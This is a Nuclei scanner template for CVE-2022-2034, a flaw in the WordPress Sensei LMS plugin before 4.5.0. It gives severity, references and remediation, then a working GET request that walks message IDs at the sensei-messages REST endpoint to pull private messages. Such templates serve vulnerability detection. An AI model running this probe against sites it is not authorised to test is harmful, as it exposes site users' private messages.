id: CVE-2022-2034

info:
  name: WordPress Sensei LMS <4.5.0 - Information Disclosure
  author: imhunterand
  severity: medium
  description: |
    WordPress Sensei LMS plugin before 4.5.0 is susceptible to information disclosure. The plugin does not have proper permissions set in a REST endpoint, which can allow an attacker to access private messages.
  remediation: |
    Upgrade WordPress Sensei LMS to version 4.5.0 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/aba3dd58-7a8e-4129-add5-4dd5972c0426
    - https://hackerone.com/reports/1590237
    - https://wordpress.org/plugins/sensei-lms/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2034
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2034
    cwe-id: CWE-639
    epss-score: 0.00506
    epss-percentile: 0.76436
    cpe: cpe:2.3:a:automattic:sensei_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 100
    vendor: automattic
    product: sensei_lms
    framework: wordpress
  tags: cve,cve2022,wp,disclosure,wpscan,sensei-lms,fuzz,hackerone,wordpress,wp-plugin,automattic

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"

    payloads:
      num: helpers/wordlists/numbers.txt
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sensei_message'
          - 'guid":{"rendered":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100db893c2171620fb73971b05bf16e00c0b5de6824a8e5905ff8996d3cc20c9e27022100de1d4afa196a82f051e0e3306927437696c67536dd02571123a755fb8cc0464e:922c64590222798bb761d5b6d8e72950